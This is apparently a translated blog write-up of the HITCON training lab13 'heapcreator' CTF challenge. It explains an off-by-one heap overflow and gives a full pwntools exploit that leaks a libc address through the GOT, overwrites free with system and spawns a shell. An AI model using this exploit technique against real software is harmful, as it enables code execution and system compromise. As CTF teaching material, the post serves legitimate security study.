当前位置:网站首页>Chunk extend: hit training lab13
Chunk extend: hit training lab13
2022-06-10 18:04:00 【amazh】
64 position ida analysis program , Common directory structure ;
Through static analysis Find out edit When There is off-by-one Loophole :

Red box , You can enter one more byte .
First look at exp:
from pwn import*
p = process("./heapcreator")
e = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = "debug"
def create(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Content of heap :")
p.sendline(content)
p.recvline()
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
def delete(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))
def exit():
p.recvuntil(":")
p.sendline("5")
create(24,'amazh')#0x18 + 0x10
create(16,'amazh')#0x10 + 0x10
edit(0,'/bin/sh\x00' +'a'*0x10+ '\x41')
delete(1)
create(0x30, p64(0) * 3 + p64(0x21) + p64(0x30) + p64(e.got['free']))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#log.success(hex(free_data)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
#pause()
delete(0)
p.interactive()
Their thinking :
First, two heap, The sizes are 0x18 and 0x10, We can edit heap0 Of content, Thus overflowing a byte , To control heap1 header Of size position , So as to achieve extend.
extend after , Conduct free(heap1) , We can get one 0x41 The size of chunk, And then again malloc This chunk write in got Address Can be revealed free The real address of the function , Then you can write arbitrarily .
边栏推荐
- YML file configuration parameter definition dictionary and list
- 2022版IDEA图形界面GUI乱码解决方法超详细简单版
- 一个WPF开发的打印对话框-PrintDialogX
- 蓝桥杯_挑选子串_组合数学_乘法原理_ / 尺取法
- AOE网关键路径
- 踩坑了,BigDecimal 使用不当,造成P0事故!
- 模板_计算组合数
- Vim常用命令总结
- matplotlib plt. Specific usage of text() - labeling points in a drawing
- IIS installation and deployment web site
猜你喜欢
随机推荐
云计算搭建全部内容总结,保证可以搭建一个完整的云计算服务器,包括节点安装、实例的分配和网络的配置等内容
CUDA realizes efficient search - failed audit?
苹果放大招!这件事干的太漂亮了……
2022上半年信息系统项目管理师论文真题
MMdetection之build_optimizer模块解读
【AXI】解读AXI协议双向握手机制的原理
解决 vs2022在调试程序时缓慢加载一堆符号的问题
Swin_Transformer源码解读
Record of cmake and GCC installation
4. ssh
牛客网:表达式求值
牛客网:两数之和
堆利用之chunk extend: HITCON tranining lab13
well! One new star, please look over | elder martial brother and elder martial sister say
Why does the universe limit its maximum speed to the speed of light
JS special effect of canvas divergent particle H5 animation
numpy——记录
模板_计算组合数
mapbox-gl开发教程(十一):加载线图层
pands pd. Detailed parsing of dataframe() function









